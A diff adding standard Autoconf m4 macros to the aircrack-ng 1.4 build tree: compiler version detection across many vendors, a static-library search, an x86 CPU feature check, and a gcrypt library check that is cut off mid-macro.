+  m4_define([_AX_COMPILER_VERSION_DEC_NUMBER],
+            [
+	     #if defined(__DECC_VER)
+	     __DECC_VER
+	     #else
+	     __DECCXX_VER
+	     #endif
+	    ])
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    (_AX_COMPILER_VERSION_DEC_NUMBER % 10000),,
+    AC_MSG_FAILURE([[[$0]] unknown dec release version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    ((_AX_COMPILER_VERSION_DEC_NUMBER / 100000UL)%100),,
+    AC_MSG_FAILURE([[[$0]] unknown dec minor version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    ((_AX_COMPILER_VERSION_DEC_NUMBER / 10000000UL)%100),,
+    AC_MSG_FAILURE([[[$0]] unknown dec major version]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# borland
+AC_DEFUN([_AX_COMPILER_VERSION_BORLAND],[dnl
+  m4_define([_AX_COMPILER_VERSION_TURBOC_NUMBER],
+            [
+	     #if defined(__TURBOC__)
+	     __TURBOC__
+	     #else
+	     choke me
+	     #endif
+	    ])
+  m4_define([_AX_COMPILER_VERSION_BORLANDC_NUMBER],
+            [
+	     #if defined(__BORLANDC__)
+	     __BORLANDC__
+	     #else
+	     __CODEGEARC__
+	     #endif
+	    ])
+ AC_COMPILE_IFELSE(
+   [AC_LANG_PROGRAM(,
+     _AX_COMPILER_VERSION_TURBOC_NUMBER)],
+   [dnl TURBOC
+     AC_COMPUTE_INT(
+       _ax_[]_AC_LANG_ABBREV[]_compiler_version_turboc_raw,
+       _AX_COMPILER_VERSION_TURBOC_NUMBER,,
+       AC_MSG_FAILURE([[[$0]] unknown turboc version]))
+     AS_IF(
+       [test $_ax_[]_AC_LANG_ABBREV[]_compiler_version_turboc_raw -lt 661 || test $_ax_[]_AC_LANG_ABBREV[]_compiler_version_turboc_raw -gt 1023],
+       [dnl compute normal version
+        AC_COMPUTE_INT(
+	  _ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+	  _AX_COMPILER_VERSION_TURBOC_NUMBER % 0x100,,
+	  AC_MSG_FAILURE([[[$0]] unknown turboc minor version]))
+	AC_COMPUTE_INT(
+	  _ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+	  (_AX_COMPILER_VERSION_TURBOC_NUMBER/0x100)%0x100,,
+	  AC_MSG_FAILURE([[[$0]] unknown turboc major version]))
+	ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="0turboc:$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor"],
+      [dnl special version
+       AS_CASE([$_ax_[]_AC_LANG_ABBREV[]_compiler_version_turboc_raw],
+         [661],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="0turboc:1.00"],
+	 [662],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="0turboc:1.01"],
+         [663],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="0turboc:2.00"],
+	 [
+	 AC_MSG_WARN([[[$0]] unknown turboc version between 0x295 and 0x400 please report bug])
+	 ax_cv_[]_AC_LANG_ABBREV[]_compiler_version=""
+	 ])
+      ])
+    ],
+    # borlandc
+    [
+    AC_COMPUTE_INT(
+      _ax_[]_AC_LANG_ABBREV[]_compiler_version_borlandc_raw,
+      _AX_COMPILER_VERSION_BORLANDC_NUMBER,,
+      AC_MSG_FAILURE([[[$0]] unknown borlandc version]))
+    AS_CASE([$_ax_[]_AC_LANG_ABBREV[]_compiler_version_borlandc_raw],
+      dnl BORLANDC++ before 5.5
+      [512] ,[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="1borlanc:2.00"],
+      [1024],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="1borlanc:3.00"],
+      [1024],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="1borlanc:3.00"],
+      [1040],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="1borlanc:3.1"],
+      [1106],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="1borlanc:4.0"],
+      [1280],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="1borlanc:5.0"],
+      [1312],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="1borlanc:5.02"],
+      dnl C++ Builder era
+      [1328],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="2cppbuilder:3.0"],
+      [1344],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="2cppbuilder:4.0"],
+      dnl BORLANDC++ after 5.5
+      [1360],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="3borlancpp:5.5"],
+      [1361],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="3borlancpp:5.51"],
+      [1378],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="3borlancpp:5.6.4"],
+      dnl C++ Builder with year number
+      [1392],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="4cppbuilder:2006"],
+      [1424],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="4cppbuilder:2007"],
+      [1555],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="4cppbuilder:2009"],
+      [1569],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="4cppbuilder:2010"],
+      dnl XE version
+      [1584],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="5xe"],
+      [1600],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="5xe:2"],
+      [1616],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="5xe:3"],
+      [1632],[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="5xe:4"],
+      [
+      AC_MSG_WARN([[[$0]] Unknown borlandc compiler version $_ax_[]_AC_LANG_ABBREV[]_compiler_version_borlandc_raw please report bug])
+      ])
+    ])
+  ])
+
+# COMO
+AC_DEFUN([_AX_COMPILER_VERSION_COMEAU],
+  [ dnl
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    [__COMO_VERSION__%100],,
+    AC_MSG_FAILURE([[[$0]] unknown comeau compiler minor version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    [(__COMO_VERSION__/100)%10],,
+    AC_MSG_FAILURE([[[$0]] unknown comeau compiler major version]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor"
+  ])
+
+# KAI
+AC_DEFUN([_AX_COMPILER_VERSION_KAI],[
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    [__KCC_VERSION%100],,
+    AC_MSG_FAILURE([[[$0]] unknown kay compiler patch version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    [(__KCC_VERSION/100)%10],,
+    AC_MSG_FAILURE([[[$0]] unknown kay compiler minor version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    [(__KCC_VERSION/1000)%10],,
+    AC_MSG_FAILURE([[[$0]] unknown kay compiler major version]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+dnl LCC
+dnl LCC does not output version...
+
+# SGI
+AC_DEFUN([_AX_COMPILER_VERSION_SGI],[
+   m4_define([_AX_COMPILER_VERSION_SGI_NUMBER],
+            [
+	     #if defined(_COMPILER_VERSION)
+	     _COMPILER_VERSION
+	     #else
+	     _SGI_COMPILER_VERSION
+	     #endif
+	    ])
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    [_AX_COMPILER_VERSION_SGI_NUMBER%10],,
+    AC_MSG_FAILURE([[[$0]] unknown SGI compiler patch version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    [(_AX_COMPILER_VERSION_SGI_NUMBER/10)%10],,
+    AC_MSG_FAILURE([[[$0]] unknown SGI compiler minor version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    [(_AX_COMPILER_VERSION_SGI_NUMBER/100)%10],,
+    AC_MSG_FAILURE([[[$0]] unknown SGI compiler major version]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# microsoft
+AC_DEFUN([_AX_COMPILER_VERSION_MICROSOFT],[
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    _MSC_VER%100,,
+    AC_MSG_FAILURE([[[$0]] unknown microsoft compiler minor version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    (_MSC_VER/100)%100,,
+    AC_MSG_FAILURE([[[$0]] unknown microsoft compiler major version]))
+  dnl could be overridden
+  _ax_[]_AC_LANG_ABBREV[]_compiler_version_patch=0
+  _ax_[]_AC_LANG_ABBREV[]_compiler_version_build=0
+  # special case for version 6
+  AS_IF([test "X$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major" = "X12"],
+    [AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+       _MSC_FULL_VER%1000,,
+       _ax_[]_AC_LANG_ABBREV[]_compiler_version_patch=0)])
+  # for version 7
+  AS_IF([test "X$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major" = "X13"],
+    [AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+       _MSC_FULL_VER%1000,,
+       AC_MSG_FAILURE([[[$0]] unknown microsoft compiler patch version]))
+    ])
+  # for version > 8
+ AS_IF([test $_ax_[]_AC_LANG_ABBREV[]_compiler_version_major -ge 14],
+    [AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+       _MSC_FULL_VER%10000,,
+       AC_MSG_FAILURE([[[$0]] unknown microsoft compiler patch version]))
+    ])
+ AS_IF([test $_ax_[]_AC_LANG_ABBREV[]_compiler_version_major -ge 15],
+    [AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_build,
+       _MSC_BUILD,,
+       AC_MSG_FAILURE([[[$0]] unknown microsoft compiler build version]))
+    ])
+ ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_build"
+ ])
+
+# for metrowerks
+AC_DEFUN([_AX_COMPILER_VERSION_METROWERKS],[dnl
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    __MWERKS__%0x100,,
+    AC_MSG_FAILURE([[[$0]] unknown metrowerks compiler patch version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    (__MWERKS__/0x100)%0x10,,
+    AC_MSG_FAILURE([[[$0]] unknown metrowerks compiler minor version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    (__MWERKS__/0x1000)%0x10,,
+    AC_MSG_FAILURE([[[$0]] unknown metrowerks compiler major version]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# for watcom
+AC_DEFUN([_AX_COMPILER_VERSION_WATCOM],[dnl
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    __WATCOMC__%100,,
+    AC_MSG_FAILURE([[[$0]] unknown watcom compiler minor version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    (__WATCOMC__/100)%100,,
+    AC_MSG_FAILURE([[[$0]] unknown watcom compiler major version]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor"
+  ])
+
+# for PGI
+AC_DEFUN([_AX_COMPILER_VERSION_PORTLAND],[
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    __PGIC__,,
+    AC_MSG_FAILURE([[[$0]] unknown pgi major]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    __PGIC_MINOR__,,
+    AC_MSG_FAILURE([[[$0]] unknown pgi minor]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    [__PGIC_PATCHLEVEL__],,
+    AC_MSG_FAILURE([[[$0]] unknown pgi patch level]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# tcc
+AC_DEFUN([_AX_COMPILER_VERSION_TCC],[
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version=[`tcc -v | $SED 's/^[ ]*tcc[ ]\+version[ ]\+$[0-9.]\+$.*/\1/g'`]
+  ])
+# main entry point
+AC_DEFUN([AX_COMPILER_VERSION],[dnl
+  AC_REQUIRE([AX_COMPILER_VENDOR])
+  AC_REQUIRE([AC_PROG_SED])
+  AC_CACHE_CHECK([for _AC_LANG compiler version],
+    ax_cv_[]_AC_LANG_ABBREV[]_compiler_version,
+    [ dnl
+      AS_CASE([$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor],
+        [intel],[_AX_COMPILER_VERSION_INTEL],
+	[ibm],[_AX_COMPILER_VERSION_IBM],
+	[pathscale],[_AX_COMPILER_VERSION_PATHSCALE],
+	[clang],[_AX_COMPILER_VERSION_CLANG],
+	[cray],[_AX_COMPILER_VERSION_CRAY],
+	[fujitsu],[_AX_COMPILER_VERSION_FUJITSU],
+        [gnu],[_AX_COMPILER_VERSION_GNU],
+	[sun],[_AX_COMPILER_VERSION_SUN],
+	[hp],[_AX_COMPILER_VERSION_HP],
+	[dec],[_AX_COMPILER_VERSION_DEC],
+	[borland],[_AX_COMPILER_VERSION_BORLAND],
+	[comeau],[_AX_COMPILER_VERSION_COMEAU],
+	[kai],[_AX_COMPILER_VERSION_KAI],
+	[sgi],[_AX_COMPILER_VERSION_SGI],
+	[microsoft],[_AX_COMPILER_VERSION_MICROSOFT],
+	[metrowerks],[_AX_COMPILER_VERSION_METROWERKS],
+	[watcom],[_AX_COMPILER_VERSION_WATCOM],
+	[portland],[_AX_COMPILER_VERSION_PORTLAND],
+	[tcc],[_AX_COMPILER_VERSION_TCC],
+  	[ax_cv_[]_AC_LANG_ABBREV[]_compiler_version=""])
+    ])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_ext_have_static_lib.m4 Added

@@ -0,0 +1,109 @@
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_EXT_HAVE_STATIC_LIB(VARIABLE-PREFIX, SEARCH-PATHS, LIBRARY-NAMES,
+#                          FUNCTION-NAME, [EXTRA-LIBRARIES])
+#
+# DESCRIPTION
+#
+#   Provides a generic test for locating an appropriate static library
+#   to force link against, even when one's application is dynamically
+#   linked. The macro was inspired by the PKG_CHECK_MODULES macro.
+#
+#   If the library is found, [VARIABLE-PREFIX]_FOUND is defined, and
+#   in all cases [VARIABLE-PREFIX]_LIBS is substituted.
+#
+#   Example:
+#
+#     AX_EXT_HAVE_STATIC_LIB(ZLIB, DEFAULT_STATIC_LIB_SEARCH_PATHS,
+#                            z libz, compress)
+#
+# LICENSE
+#
+#   Copyright (c) 2018 Joseph Benden <joe@benden.us>
+#
+#   This program is free software: you can redistribute it and/or modify it
+#   under the terms of the GNU General Public License as published by the
+#   Free Software Foundation, either version 3 of the License, or (at your
+#   option) any later version.
+#
+#   This program is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+#   Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License along
+#   with this program. If not, see <https://www.gnu.org/licenses/>.
+#
+#   As a special exception, the respective Autoconf Macro's copyright owner
+#   gives unlimited permission to copy, distribute and modify the configure
+#   scripts that are the output of Autoconf when processing the Macro. You
+#   need not follow the terms of the GNU General Public License when using
+#   or distributing such scripts, even though portions of the text of the
+#   Macro appear in them. The GNU General Public License (GPL) does govern
+#   all other use of the material that constitutes the Autoconf Macro.
+#
+#   This special exception to the GPL applies to versions of the Autoconf
+#   Macro released by the Autoconf Archive. When you make and distribute a
+#   modified version of the Autoconf Macro, you may extend this special
+#   exception to the GPL to apply to your modified version as well.
+
+#serial 1
+
+m4_define([DUMPMACHINE], m4_esyscmd([gcc -dumpmachine 2>/dev/null || echo]))
+m4_define([DEFAULT_STATIC_LIB_SEARCH_PATHS], [
+	/opt/lib/DUMPMACHINE
+	/opt/lib
+	/usr/local/lib/DUMPMACHINE
+	/usr/local/lib
+	/usr/lib/DUMPMACHINE
+	/usr/lib
+	/lib
+])
+
+AC_DEFUN([AX_EXT_HAVE_STATIC_LIB],
+[
+AC_ARG_VAR([$1][_FOUND], [set if the static library $1 is available, already.])dnl
+AC_ARG_VAR([$1][_LIBS], [static library linker flags for $1.])dnl
+
+for dir in m4_normalize($2)
+do
+	ext_haslib_cvdir=`echo $dir | $as_tr_sh`
+	ext_haslib_cvname=`echo $3 | $as_tr_sh`
+
+	AC_CACHE_VAL([ext_cv${ext_haslib_cvdir}_haslib_${ext_haslib_cvname}], [
+		for name in $3
+		do
+			dnl Does an archive file exists in our current path?
+			AC_CHECK_FILE("${dir}/${name}.a", [
+				dnl If so, can we link a simple program with it?
+
+				ext_func_search_save_LIBS=$LIBS
+				ext_func_save_ldflags=${LDFLAGS}
+				LIBS="${dir}/${name}.a $5 ${ext_func_search_save_LIBS}"
+				LDFLAGS="${ext_func_save_ldflags}"
+
+				AC_LINK_IFELSE([AC_LANG_CALL([], [$4])], [
+					eval "ext_cv${ext_haslib_cvdir}_haslib_${ext_haslib_cvname}"="${dir}/${name}.a"
+					AC_MSG_NOTICE([Found static library: ${dir}/${name}.a])
+				], [
+					eval "ext_cv${ext_haslib_cvdir}_haslib_${ext_haslib_cvname}"=""
+				])
+
+				LIBS=$ext_func_search_save_LIBS
+				LDFLAGS=$ext_func_save_ldflags
+			])
+		done
+	])
+
+	if eval `echo 'test x${'ext_cv${ext_haslib_cvdir}_haslib_${ext_haslib_cvname}'}' != "x"`; then
+		$1[]_LIBS="`eval echo '\${'ext_cv${ext_haslib_cvdir}_haslib_${ext_haslib_cvname}'}'`"
+		$1[]_FOUND=yes
+		ext_lib_found="yes"
+
+		AC_SUBST($1[]_LIBS)
+		AC_SUBST($1[]_FOUND)
+	fi
+done
+])
\ No newline at end of file

aircrack-ng-1.4.tar.gz/build/m4/ax_gcc_x86_cpu_supports.m4 Added

@@ -0,0 +1,126 @@
+# ============================================================================
+#  https://www.gnu.org/software/autoconf-archive/ax_gcc_x86_cpu_supports.html
+# ============================================================================
+#
+# SYNOPSIS
+#
+#   AX_GCC_X86_CPU_SUPPORTS(X86-INSTRUCTION-SET,
+#     [ACTION-IF-FOUND],[ACTION-IF-NOT-FOUND])
+#
+# DESCRIPTION
+#
+#   Checks if the host cpu supports X86-INSTRUCTION-SET. The instruction set
+#   that can be tested are "mmx, popcnt, sse, sse2, sse3, sse4.1, sse4.2,
+#   sse4a, avx, avx2, avx512f, fma, fma4, bmi, bmi2". If the instruction set
+#   is supported by the host cpu, the C preprocessor macro
+#   HAVE_XXX_INSTRUCTIONS is set to 1. The XXX is up-cased instruction case
+#   with dot replaced by underscore. For example, the test for "sse4.2"
+#   would export HAVE_SSE4_2_INSTRUCTIONS=1. This macro requires gcc
+#   extended builtin function "__builtin_cpu_init" and
+#   "__builtin_cpu_supports" to detect the cpu features. It will error out
+#   if the compiler doesn't has these builtins.
+#
+#   If the test for the instruction set succeeded, the hook ACTION-IF-FOUND
+#   would run. Otherwise the hook ACTION-IF-NOT-FOUND would run if
+#   specified.
+#
+#   See also AX_CHECK_X86_FEATURES, which checks all the possible
+#   instruction set and export the corresponding CFLAGS.
+#
+# LICENSE
+#
+#   Copyright (c) 2016 Felix Chern <idryman@gmail.com>
+#   Copyright (c) 2017 Joseph Benden <joe@benden.us>
+#
+#   This program is free software; you can redistribute it and/or modify it
+#   under the terms of the GNU General Public License as published by the
+#   Free Software Foundation; either version 2 of the License, or (at your
+#   option) any later version.
+#
+#   This program is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+#   Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License along
+#   with this program. If not, see <https://www.gnu.org/licenses/>.
+#
+#   As a special exception, the respective Autoconf Macro's copyright owner
+#   gives unlimited permission to copy, distribute and modify the configure
+#   scripts that are the output of Autoconf when processing the Macro. You
+#   need not follow the terms of the GNU General Public License when using
+#   or distributing such scripts, even though portions of the text of the
+#   Macro appear in them. The GNU General Public License (GPL) does govern
+#   all other use of the material that constitutes the Autoconf Macro.
+#
+#   This special exception to the GPL applies to versions of the Autoconf
+#   Macro released by the Autoconf Archive. When you make and distribute a
+#   modified version of the Autoconf Macro, you may extend this special
+#   exception to the GPL to apply to your modified version as well.
+
+#serial 4
+
+AC_DEFUN_ONCE([_AX_GCC_X86_CPU_INIT],
+ [AC_LANG_PUSH([C])
+  AC_CACHE_CHECK([for gcc __builtin_cpu_init function],
+    [ax_cv_gcc_check_x86_cpu_init],
+    [AC_RUN_IFELSE(
+      [AC_LANG_PROGRAM([#include <stdlib.h>],
+        [__builtin_cpu_init ();])
+      ],
+      [ax_cv_gcc_check_x86_cpu_init=yes],
+      [ax_cv_gcc_check_x86_cpu_init=no],[ax_cv_gcc_check_x86_cpu_init=no])])
+])
+
+AC_DEFUN([AX_GCC_X86_CPU_SUPPORTS],
+  [AC_REQUIRE([AC_PROG_CC])
+   AC_REQUIRE([_AX_GCC_X86_CPU_INIT])
+   AC_LANG_PUSH([C])
+   AS_VAR_PUSHDEF([gcc_x86_feature], [AS_TR_SH([ax_cv_gcc_x86_cpu_supports_$1])])
+   AC_CACHE_CHECK([for x86 $1 instruction support],
+     [gcc_x86_feature],
+     [AC_RUN_IFELSE(
+       [AC_LANG_PROGRAM([
+         #include <stdlib.h>
+         #if defined(__INTEL_COMPILER)
+         #include <immintrin.h>
+         #endif
+       ],[
+         #if defined(__INTEL_COMPILER)
+         int result = 0;
+
+         if (!strcmp("$1", "avx2"))
+           result = _may_i_use_cpu_feature(_FEATURE_AVX2);
+         else if (!strcmp("$1", "avx"))
+           result = _may_i_use_cpu_feature(_FEATURE_AVX);
+         else if (!strcmp("$1", "sse2"))
+           result = _may_i_use_cpu_feature(_FEATURE_SSE2);
+         else if (!strcmp("$1", "mmx"))
+           result = _may_i_use_cpu_feature(_FEATURE_MMX);
+
+         return result ? 0 : 1;
+         #else
+         #if defined(__GNUC__) && !defined(__clang__)
+         __builtin_cpu_init ();
+         #endif
+         if (__builtin_cpu_supports("$1"))
+           return 0;
+         return 1;
+         #endif
+        ])],
+        [gcc_x86_feature=yes],
+        [gcc_x86_feature=no],
+        [gcc_x86_feature=no]
+     )]
+   )
+   AC_LANG_POP([C])
+   AS_VAR_IF([gcc_x86_feature],[yes],
+         [AC_DEFINE(
+           AS_TR_CPP([HAVE_$1_INSTRUCTIONS]),
+           [1],
+           [Define if $1 instructions are supported])
+          $2],
+          [$3]
+         )
+   AS_VAR_POPDEF([gcc_x86_feature])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_lib_gcrypt.m4 Added

@@ -0,0 +1,121 @@
+# ===========================================================================
+#      https://www.gnu.org/software/autoconf-archive/ax_lib_gcrypt.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_LIB_GCRYPT([yes|no|auto])
+#
+# DESCRIPTION
+#
+#   Searches for the 'gcrypt' library with the --with... option.
+#
+#   If found, define HAVE_GCRYPT and macro GCRYPT_LIBS and GCRYPT_CFLAGS.
+#   Also defines GCRYPT_WITH_<algo> for the algorithms found available.
+#   Possible algorithms are: AES ARCFOUR BLOWFISH CAST5 DES IDEA RFC2268
+#   SERPENT TWOFISH CRC HAVAL MD2 MD4 MD5 RMD160 SHA0 SHA1 SHA224 SHA256
+#   SHA384 SHA512 TIGER WHIRLPOOL DSA ELGAMAL RSA
+#
+#   The argument is used if no --with...-gcrypt option is set. Value "yes"
+#   requires the configuration by default. Value "no" does not require it by
+#   default. Value "auto" configures the library only if available.
+#
+#   See also AX_LIB_BEECRYPT and AX_LIB_CRYPTO.
+#
+# LICENSE
+#
+#   Copyright (c) 2009 Fabien Coelho <autoconf.archive@coelho.net>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 12
+
+# AX_CHECK_GCRYPT_ALGO([algo])
+# generate convenient defines for each algorithm
+AC_DEFUN([AX_CHECK_GCRYPT_ALGO],[
+  AC_REQUIRE([AC_PROG_EGREP])
+  AC_MSG_CHECKING([for $1 in gcrypt])
+  if echo $gcrypt_algos | $EGREP -i ":.*( $1 | $1$)" > /dev/null ; then
+    AC_DEFINE([GCRYPT_WITH_$1],[1],[Algorithm $1 in gcrypt library])
+    AC_MSG_RESULT([yes])
+  else
+    AC_MSG_RESULT([no])
+  fi
+])
+
+# AX_LIB_GCRYPT([yes|no|auto])
+AC_DEFUN([AX_LIB_GCRYPT],[
+  AC_MSG_CHECKING([whether gcrypt is enabled])
+  AC_ARG_WITH([gcrypt],[  --with-gcrypt           require gcrypt library
+  --without-gcrypt        disable gcrypt library],[
+    AC_MSG_RESULT([$withval])
+    ac_with_gcrypt=$withval
+  ],[
+    AC_MSG_RESULT($1)
+    ac_with_gcrypt=$1
+  ])
+  if test "$ac_with_gcrypt" = "yes" -o "$ac_with_gcrypt" = "auto" ; then
+    AM_PATH_LIBGCRYPT([1.2.0],[
+      AC_DEFINE([HAVE_GCRYPT],[1],[Gcrypt library is available])
+      HAVE_GCRYPT=1
+      # checking for available algorithms...
+      gcrypt_algos=`$LIBGCRYPT_CONFIG --algorithms`
+      # ciphers
+      # this does not work with a "for" loop: nothing generated in config.h:-(
+      AX_CHECK_GCRYPT_ALGO([AES])
+      AX_CHECK_GCRYPT_ALGO([ARCFOUR])
+      AX_CHECK_GCRYPT_ALGO([BLOWFISH])
+      AX_CHECK_GCRYPT_ALGO([CAST5])
+      AX_CHECK_GCRYPT_ALGO([DES])
+      AX_CHECK_GCRYPT_ALGO([IDEA])
+      AX_CHECK_GCRYPT_ALGO([RFC2268])
+      AX_CHECK_GCRYPT_ALGO([SERPENT])
+      AX_CHECK_GCRYPT_ALGO([TWOFISH])
+      # digests
+      AX_CHECK_GCRYPT_ALGO([CRC])
+      AX_CHECK_GCRYPT_ALGO([HAVAL])
+      AX_CHECK_GCRYPT_ALGO([MD2])
+      AX_CHECK_GCRYPT_ALGO([MD4])
+      AX_CHECK_GCRYPT_ALGO([MD5])
+      AX_CHECK_GCRYPT_ALGO([RMD160])
+      AX_CHECK_GCRYPT_ALGO([SHA0])
+      AX_CHECK_GCRYPT_ALGO([SHA1])
+      AX_CHECK_GCRYPT_ALGO([SHA224])
+      AX_CHECK_GCRYPT_ALGO([SHA256])
+      AX_CHECK_GCRYPT_ALGO([SHA384])
+      AX_CHECK_GCRYPT_ALGO([SHA512])
+      AX_CHECK_GCRYPT_ALGO([TIGER])
+      AX_CHECK_GCRYPT_ALGO([WHIRLPOOL])
+      # others
+      AX_CHECK_GCRYPT_ALGO([DSA])
+      AX_CHECK_GCRYPT_ALGO([ELGAMAL])
+      AX_CHECK_GCRYPT_ALGO([RSA])
+      # CMAC support
+      AC_MSG_CHECKING([for CMAC_AES in gcrypt])
+      AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[#include <gcrypt.h>]], [[
+int ok = GCRY_MAC_CMAC_AES;
+(void)ok;
+      ]])],[
+        AC_MSG_RESULT([yes])
+        AC_DEFINE([GCRYPT_WITH_CMAC_AES],[1],[Algorithm CMAC_AES in gcrypt library])
+        HAVE_CMAC=yes
+      ], [
+        AC_MSG_RESULT([no])
+        HAVE_CMAC=no
+      ])
+      # conclusion
+      GCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags`
+      GCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
+      AC_SUBST(GCRYPT_CFLAGS)
+      AC_SUBST(GCRYPT_LIBS)
+    ],[
+      # complain only if explicitly required
+      if test "$ac_with_gcrypt" = "yes" ; then
